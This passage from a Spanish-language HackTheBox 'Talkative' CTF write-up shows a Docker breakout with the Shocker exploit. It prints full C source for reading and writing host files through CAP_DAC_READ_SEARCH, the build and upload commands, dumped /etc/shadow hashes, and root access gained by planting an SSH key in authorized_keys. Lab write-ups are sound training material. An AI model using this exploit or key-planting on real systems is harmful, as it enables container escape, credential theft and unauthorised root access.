105 int fd1, fd2;
106 struct my_file_handle h;
107 struct my_file_handle root_h = {
108 .handle_bytes = 8,
109 .handle_type = 1,
110 .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
111 };
112
113 fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
114 "[***] The tea from the 90's kicks your sekurity again. [***]\n"
115 "[***] If you have pending sec consulting, I'll happily [***]\n"
116 "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
117
118 read(0, buf, 1);
119
120 // get a FS reference from something mounted in from outside
121 if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
122 die("[-] open");
123
124 if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
125 die("[-] Cannot find valid handle!");
126
127 fprintf(stderr, "[!] Got a final handle!\n");
128 dump_handle(&h);
129
130 if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
131 die("[-] open_by_handle");
132
133 memset(buf, 0, sizeof(buf));
134 if (read(fd2, buf, sizeof(buf) - 1) < 0)
135 die("[-] read");
136
137 printf("Success!!\n");
138
139 FILE *fptr;
140 fptr = fopen(argv[2], "w");
141 fprintf(fptr,"%s", buf);
142 fclose(fptr);
143
144 close(fd2); close(fd1);
145
146 return 0;
147}
Como no soy un gran experto en C. Podemos pedirle a ChatGPT que nos explique que hace el script de forma detallada.
Funciones Clave:
die(const char *msg)
: Muestra un mensaje de error y termina el programa.dump_handle(const struct my_file_handle *h)
: Imprime los detalles de un identificador de archivo.find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
:- Recursivamente encuentra el identificador de un archivo basado en un camino (
path
) dado. - Utiliza
open_by_handle_at
para abrir directorios y archivos mediante identificadores. - Realiza una búsqueda exhaustiva (brute force) para encontrar el identificador correcto del archivo deseado.
- Recursivamente encuentra el identificador de un archivo basado en un camino (
Función Principal (
main
):- Imprime un mensaje de introducción indicando que es un exploit.
- Espera una entrada del usuario para continuar.
- Abre
/etc/hostname
para obtener una referencia a un archivo del host. Este archivo debe estar montado dentro del contenedor. - Usa
find_handle
para encontrar el identificador del archivo especificado enargv[1]
(por ejemplo,/etc/shadow
). - Si encuentra un identificador válido, abre el archivo con
open_by_handle_at
. - Lee el contenido del archivo y lo guarda en un buffer.
- Escribe el contenido del buffer en un archivo especificado en
argv[2]
(por ejemplo,shadow
). - Cierra los archivos y termina.
Requisitos para que el Exploit Funcione
Montaje del Sistema de Archivos del Host:
- El contenedor debe tener acceso a un archivo del sistema de archivos del host que esté montado dentro del contenedor. En este caso, se usa
/etc/hostname
.
- El contenedor debe tener acceso a un archivo del sistema de archivos del host que esté montado dentro del contenedor. En este caso, se usa
Privilegios y Capacidades del Contenedor:
- El contenedor debe tener suficientes privilegios para usar
open_by_handle_at
. Esto generalmente requiere que el contenedor tenga capacidades elevadas, comoCAP_DAC_READ_SEARCH
,CAP_SYS_ADMIN
yCAP_DAC_OVERRIDE
. - El contenedor debe poder usar
fdopendir
,readdir
y otras llamadas del sistema relacionadas con la manipulación de directorios y archivos.
- El contenedor debe tener suficientes privilegios para usar
Kernel del Sistema Operativo:
- El sistema operativo del host debe soportar la llamada al sistema
open_by_handle_at
, que es una característica específica de kernels de Linux.
- El sistema operativo del host debe soportar la llamada al sistema
Sin Restricciones de Seguridad Adicionales:
- No debe haber restricciones de seguridad adicionales que impidan el acceso a
open_by_handle_at
desde el contenedor. Esto incluye configuraciones de seguridad como SELinux, AppArmor u otras políticas de seguridad que podrían bloquear estas operaciones.
- No debe haber restricciones de seguridad adicionales que impidan el acceso a
Una vez tenemos este script en nuestra máquina de atacante, tenemos que modificar el script para indicar que archivo queremos abrir como referencia, para que el script sepa que la máquina es vulnerable.
En mi caso, vamos a elegir el /etc/hosts
ya que como la máquina víctima es linux, sabemos que existe este archivo.
Ahora compilamos el script.
1 gcc -Wall -std=c99 -O2 shocker.c -static -o shocker
Lo subimos a la máquina víctima
1(local) pwncat$ upload shocker /tmp/shocker
2/tmp/shocker ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 767.1/767.1 KB • ? • 0:00:00
3[23:21:17] uploaded 767.10KiB in 0.77 seconds
1(remote) root@c150397ccd63:/tmp# ./shocker /etc/hosts hosts
2[***] docker VMM-container breakout Po(C) 2014 [***]
3[***] The tea from the 90's kicks your sekurity again. [***]
4[***] If you have pending sec consulting, I'll happily [***]
5[***] forward to my friends who drink secury-tea too! [***]
6[*] Resolving 'etc/shadow'
7[*] Found lib32
8[*] Found ..
9[*] Found lost+found
10[*] Found sbin
11[*] Found bin
12[*] Found boot
13[*] Found dev
14[*] Found run
15[*] Found lib64
16[*] Found .
17[*] Found var
18[*] Found home
19[*] Found media
20[*] Found proc
21[*] Found etc
22[+] Match: etc ino=393217
23[*] Brute forcing remaining 32bit. This can take a while...
24[*] (etc) Trying: 0x00000000
25[*] #=8, 1, char nh[] = {0x01, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
26[*] Resolving 'shadow'
27[*] Found modules-load.d
28[*] Found lsb-release
29[*] Found rsyslog.conf
30[*] Found rc6.d
31[*] Found calendar
32[*] Found fstab
33[*] Found shadow
34[+] Match: shadow ino=393228
35[*] Brute forcing remaining 32bit. This can take a while...
36[*] (shadow) Trying: 0x00000000
37[*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
38[!] Got a final handle!
39[*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
40[!] Win! /etc/shadow output follows:
41root:$6$9GrOpvcijuCP93rg$tkcyh.ZwH5w9AHrm66awD9nLzMHv32QqZYGiIfuLow4V1PBkY0xsKoyZnM3.AI.yGWfFLOFDSKsIR9XnKLbIY1:19066:0:99999:7:::
42daemon:*:18659:0:99999:7:::
43bin:*:18659:0:99999:7:::
44sys:*:18659:0:99999:7:::
45sync:*:18659:0:99999:7:::
46games:*:18659:0:99999:7:::
47man:*:18659:0:99999:7:::
48lp:*:18659:0:99999:7:::
49mail:*:18659:0:99999:7:::
50news:*:18659:0:99999:7:::
51uucp:*:18659:0:99999:7:::
52proxy:*:18659:0:99999:7:::
53www-data:*:18659:0:99999:7:::
54backup:*:18659:0:99999:7:::
55list:*:18659:0:99999:7:::
56irc:*:18659:0:99999:7:::
57gnats:*:18659:0:99999:7:::
58nobody:*:18659:0:99999:7:::
59systemd-network:*:18659:0:99999:7:::
60systemd-resolve:*:18659:0:99999:7:::
61systemd-timesync:*:18659:0:99999:7:::
62messagebus:*:18659:0:99999:7:::
63syslog:*:18659:0:99999:7:::
64_apt:*:18659:0:99999:7:::
65tss:*:18659:0:99999:7:::
66uuidd:*:18659:0:99999:7:::
67tcpdump:*:18659:0:99999:7:::
68landscape:*:18659:0:99999:7:::
69pollinate:*:18659:0:99999:7:::
70usbmux:*:18849:0:99999:7:::
71sshd:*:18849:0:99999:7:::
72systemd-coredump:!!:18849::::::
73lxd:!:18849::::::
74saul:$6$19rUyMaBLt7.CDGj$ik84VX1CUhhuiMHxq8hSMjKTDMxHt.ldQC15vFyupafquVyonyyb3/S6MO59tnJHP9vI5GMvbE9T4TFeeeKyg1:19058:0:99999:7:::
¡Y perfecto!
Ahora podríamos modificar el archivo que intenta abrir el script, para ver la flag de superusuario.
Compilamos el binario, lo subimos, lo ejecutamos y…
1(remote) root@c150397ccd63:/tmp# ./shocker
2[***] docker VMM-container breakout Po(C) 2014 [***]
3[***] The tea from the 90's kicks your sekurity again. [***]
4[***] If you have pending sec consulting, I'll happily [***]
5[***] forward to my friends who drink secury-tea too! [***]
6[*] Resolving 'root/root.txt'
7[*] Found lib32
8[*] Found ..
9[*] Found lost+found
10[*] Found sbin
11[*] Found bin
12[*] Found boot
13[*] Found dev
14[*] Found run
15[*] Found lib64
16[*] Found .
17[*] Found var
18[*] Found home
19[*] Found media
20[*] Found proc
21[*] Found etc
22[*] Found lib
23[*] Found libx32
24[*] Found cdrom
25[*] Found root
26[+] Match: root ino=18
27[*] Brute forcing remaining 32bit. This can take a while...
28[*] (root) Trying: 0x00000000
29[*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
30[*] Resolving 'root.txt'
31[*] Found ..
32[*] Found .backup
33[*] Found .config
34[*] Found .cache
35[*] Found .local
36[*] Found .ssh
37[*] Found .
38[*] Found .profile
39[*] Found .bashrc
40[*] Found root.txt
41[+] Match: root.txt ino=110097
42[*] Brute forcing remaining 32bit. This can take a while...
43[*] (root.txt) Trying: 0x00000000
44[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
45[!] Got a final handle!
46[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
47[!] Win! /etc/shadow output follows:
485f8e5df33844d437...
¡Y podemos leer la flag!
A mi este tipo de cosas no me gusta, por lo cual quiero ganar una consola interactiva en la máquina víctima.
En HackTricks, podemos ver un script modificado que nos permitiría escribir archivos.
1#include <stdio.h>
2#include <sys/types.h>
3#include <sys/stat.h>
4#include <fcntl.h>
5#include <errno.h>
6#include <stdlib.h>
7#include <string.h>
8#include <unistd.h>
9#include <dirent.h>
10#include <stdint.h>
11
12// gcc shocker_write.c -o shocker_write
13// ./shocker_write /etc/passwd passwd
14
15struct my_file_handle {
16 unsigned int handle_bytes;
17 int handle_type;
18 unsigned char f_handle[8];
19};
20void die(const char * msg) {
21 perror(msg);
22 exit(errno);
23}
24void dump_handle(const struct my_file_handle * h) {
25 fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
26 h -> handle_type);
27 for (int i = 0; i < h -> handle_bytes; ++i) {
28 fprintf(stderr, "0x%02x", h -> f_handle[i]);
29 if ((i + 1) % 20 == 0)
30 fprintf(stderr, "\n");
31 if (i < h -> handle_bytes - 1)
32 fprintf(stderr, ", ");
33 }
34 fprintf(stderr, "};\n");
35}
36int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
37{
38 int fd;
39 uint32_t ino = 0;
40 struct my_file_handle outh = {
41 .handle_bytes = 8,
42 .handle_type = 1
43 };
44 DIR * dir = NULL;
45 struct dirent * de = NULL;
46 path = strchr(path, '/');
47 // recursion stops if path has been resolved
48 if (!path) {
49 memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
50 oh -> handle_type = 1;
51 oh -> handle_bytes = 8;
52 return 1;
53 }
54 ++path;
55 fprintf(stderr, "[*] Resolving '%s'\n", path);
56 if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
57 die("[-] open_by_handle_at");
58 if ((dir = fdopendir(fd)) == NULL)
59 die("[-] fdopendir");
60 for (;;) {
61 de = readdir(dir);
62 if (!de)
63 break;
64 fprintf(stderr, "[*] Found %s\n", de -> d_name);
65 if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
66 fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
67 ino = de -> d_ino;
68 break;
69 }
70 }
71 fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
72 if (de) {
73 for (uint32_t i = 0; i < 0xffffffff; ++i) {
74 outh.handle_bytes = 8;
75 outh.handle_type = 1;
76 memcpy(outh.f_handle, & ino, sizeof(ino));
77 memcpy(outh.f_handle + 4, & i, sizeof(i));
78 if ((i % (1 << 20)) == 0)
79 fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
80 if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
81 closedir(dir);
82 close(fd);
83 dump_handle( & outh);
84 return find_handle(bfd, path, & outh, oh);
85 }
86 }
87 }
88 closedir(dir);
89 close(fd);
90 return 0;
91}
92int main(int argc, char * argv[]) {
93 char buf[0x1000];
94 int fd1, fd2;
95 struct my_file_handle h;
96 struct my_file_handle root_h = {
97 .handle_bytes = 8,
98 .handle_type = 1,
99 .f_handle = {
100 0x02,
101 0,
102 0,
103 0,
104 0,
105 0,
106 0,
107 0
108 }
109 };
110 fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
111 "[***] The tea from the 90's kicks your sekurity again. [***]\n"
112 "[***] If you have pending sec consulting, I'll happily [***]\n"
113 "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
114 read(0, buf, 1);
115 // get a FS reference from something mounted in from outside
116 if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
117 die("[-] open");
118 if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
119 die("[-] Cannot find valid handle!");
120 fprintf(stderr, "[!] Got a final handle!\n");
121 dump_handle( & h);
122 if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
123 die("[-] open_by_handle");
124 char * line = NULL;
125 size_t len = 0;
126 FILE * fptr;
127 ssize_t read;
128 fptr = fopen(argv[2], "r");
129 while ((read = getline( & line, & len, fptr)) != -1) {
130 write(fd2, line, read);
131 }
132 printf("Success!!\n");
133 close(fd2);
134 close(fd1);
135 return 0;
136}
Lo que voy a realizar es ver el archivo /etc/sudoers
aprovechando esta vulnerabilidad.
Y editar al usuario saul
para que tenga permisos para ejecutar como root
cualquier comando. Luego, con el script modificado, intentaré escribir el /etc/sudoers
y si lo consigo, debería de cerrar sesión en el SSH, iniciar sesión de nuevo y hacer un sudo su
como el usuario saul
y convertirme en root
Primero compilamos shocker.c
para leer el archivo /etc/sudoers
Y al ejecutarlo podemos leerlo
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
Ahora agregamos al usuario saul
para que pueda ejecutar cualquier comando como cualquier usuario..
Ahora compilamos el script shocker_write.c
1$ gcc -Wall -std=c99 -O2 shocker_write.c -static -o shocker_write
Subimos tanto el sudoers
como el binario shocker_write
ya compilado
1(local) pwncat$ upload sudoers /tmp/sudoers
2/tmp/sudoers ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 778/778 bytes • ? • 0:00:00
3[23:33:36] uploaded 778.00B in 0.68 seconds upload.py:76
4(local) pwncat$ upload shocker_write /tmp/shocker_write
5/tmp/shocker_write ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 17.1/17.1 KB • ? • 0:00:00
6[23:34:24] uploaded 17.06KiB in 0.59 seconds
1(remote) root@c150397ccd63:/tmp# ./shocker_write /etc/sudoers sudoers
2...
3[*] Found bash_completion.d
4[*] Found apt
5[*] Found services
6[*] Found udev
7[*] Found ltrace.conf
8[*] Found selinux
9[*] Found multipath
10[*] Found udisks2
11[*] Found sensors3.conf
12[*] Found sudoers
13[+] Match: sudoers ino=393977
14[*] Brute forcing remaining 32bit. This can take a while...
15[*] (sudoers) Trying: 0x00000000
16[*] #=8, 1, char nh[] = {0xf9, 0x02, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
17[!] Got a final handle!
18[*] #=8, 1, char nh[] = {0xf9, 0x02, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
19[-] open_by_handle: Permission denied
Vaya…
1saul@talkative:~$ sudo su
2[sudo] password for saul:
3saul is not in the sudoers file. This incident will be reported.
Sin embargo, si intentamos modificar otro archivo como el /etc/hostname
por probar…
1(remote) root@c150397ccd63:/tmp# ./shocker_write /etc/hostname test
2...
3[*] #=8, 1, char nh[] = {0x8a, 0x6e, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
4Success!!
Vemos que funciona.
1saul@talkative:~$ cat /etc/hostname
2test
3tive
Alternativamente, podemos intentar escribir al archivo /root/.ssh/authorized_keys
mi clave publica de atacante, y pasarme la clave privada la consola que tenemos como saul
en la máquina víctima, para a través de ahí conectarme por SSH utilizando mi clave privada.
Cogemos mi clave pública id_rsa.pub
y la copiamos a la máquina víctima al archivo authorized_keys
1(remote) root@c150397ccd63:/tmp# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs/aNkke9LIHvwrIqFLiLavlSa5gVzvG6EibfhsRDbRY0DLzVMaWw2TmVJ/sjcWBg7DqGFJaJ70cqh7rCX9WYQnUTQUoo2yQ4yRG6UxDOEzD6Yt2JbxEZdsZqX7S1NY33zv9vtI26rLzcMLvLgjux8+dp+cuHqt3ZnBTcH....... pointedsec@parrot" > authorized_keys
Y ahora ejecutamos el exploit, y… ¡esto tiene mejor pinta!
1(remote) root@c150397ccd63:/tmp# ./shocker_write /root/.ssh/authorized_keys authorized_keys
2[***] docker VMM-container breakout Po(C) 2014 [***]
3[***] The tea from the 90's kicks your sekurity again. [***]
4[***] If you have pending sec consulting, I'll happily [***]
5[***] forward to my friends who drink secury-tea too! [***]
6
7<enter>
8
9[*] Resolving 'root/.ssh/authorized_keys'
10[*] Found lib32
11[*] Found ..
12[*] Found lost+found
13[*] Found sbin
14[*] Found bin
15[*] Found boot
16[*] Found dev
17[*] Found run
18[*] Found lib64
19[*] Found .
20[*] Found var
21[*] Found home
22[*] Found media
23[*] Found proc
24[*] Found etc
25[*] Found lib
26[*] Found libx32
27[*] Found cdrom
28[*] Found root
29[+] Match: root ino=18
30[*] Brute forcing remaining 32bit. This can take a while...
31[*] (root) Trying: 0x00000000
32[*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
33[*] Resolving '.ssh/authorized_keys'
34[*] Found ..
35[*] Found .backup
36[*] Found .config
37[*] Found .cache
38[*] Found .local
39[*] Found .ssh
40[+] Match: .ssh ino=9718
41[*] Brute forcing remaining 32bit. This can take a while...
42[*] (.ssh) Trying: 0x00000000
43[*] #=8, 1, char nh[] = {0xf6, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
44[*] Resolving 'authorized_keys'
45[*] Found ..
46[*] Found id_rsa.pub
47[*] Found .
48[*] Found known_hosts
49[*] Found authorized_keys
50[+] Match: authorized_keys ino=9720
51[*] Brute forcing remaining 32bit. This can take a while...
52[*] (authorized_keys) Trying: 0x00000000
53[*] #=8, 1, char nh[] = {0xf8, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
54[!] Got a final handle!
55[*] #=8, 1, char nh[] = {0xf8, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
56Success!!
Ahora nos compartimos nuestra clave privada de atacante (id_rsa)
a la máquina víctima, donde teníamos la sesión con el usuario saul
1$ scp id_rsa saul@127.0.0.1:/tmp/id_rsa
2saul@127.0.0.1's password:
3id_rsa 100% 2602 56.9KB/s 00:00
Ahora podemos asignar permisos permisos a esta clave privada y utilizando la autenticación por clave asimétrica e intentar iniciar sesión como root
en el equipo local (que es la máquina víctima ya que estamos en la sesión SSH con el usuario saul
)
1saul@talkative:/tmp$ chmod 600 id_rsa
2saul@talkative:/tmp$ ssh -i id_rsa root@127.0.0.1
3Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)
4
5 * Documentation: https://help.ubuntu.com
6 * Management: https://landscape.canonical.com
7 * Support: https://ubuntu.com/advantage
8
9 System information as of Tue 06 Aug 2024 07:53:16 PM UTC
10
11 System load: 0.0
12 Usage of /: 73.4% of 8.80GB
13 Memory usage: 70%
14 Swap usage: 29%
15 Processes: 452
16 Users logged in: 1
17 IPv4 address for br-ea74c394a147: 172.18.0.1
18 IPv4 address for docker0: 172.17.0.1
19 IPv4 address for eth0: 10.129.222.158
20 IPv6 address for eth0: dead:beef::250:56ff:fe94:f20
21
22 => There are 43 zombie processes.
23
24
2518 updates can be applied immediately.
268 of these updates are standard security updates.
27To see these additional updates run: apt list --upgradable
28
29
30The list of available updates is more than a week old.
31To check for new updates run: sudo apt update
32Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
33
34
35Last login: Tue Aug 6 19:48:56 2024 from 127.0.0.1
36root@talkative:~# id
37uid=0(root) gid=0(root) groups=0(root)
¡Nos convertimos en root
!
Podemos leer la flag de root
en condiciones.
1root@talkative:~# cat root.txt
25f8e5df33844d4....
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Talkative #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTML Injection #Abusing Rj Editor #Abusing Jamovi #Docker Breakout #Escaping Docker #Information Leakage #Weaponizing BoltCMS #Discovering Internal Hosts #Internal Hosts Enumeration #Reverse Port Forwarding #Password Spraying #Docker Enumeration #Container Discovering #MongoDB Enumeration #Weaponizing RocketChat #CDK #Exploiting CAP_DAC_READ_SEARCH With CDK #Exploiting CAP_DAC_READ_SEARCH Manually (Shocker.c)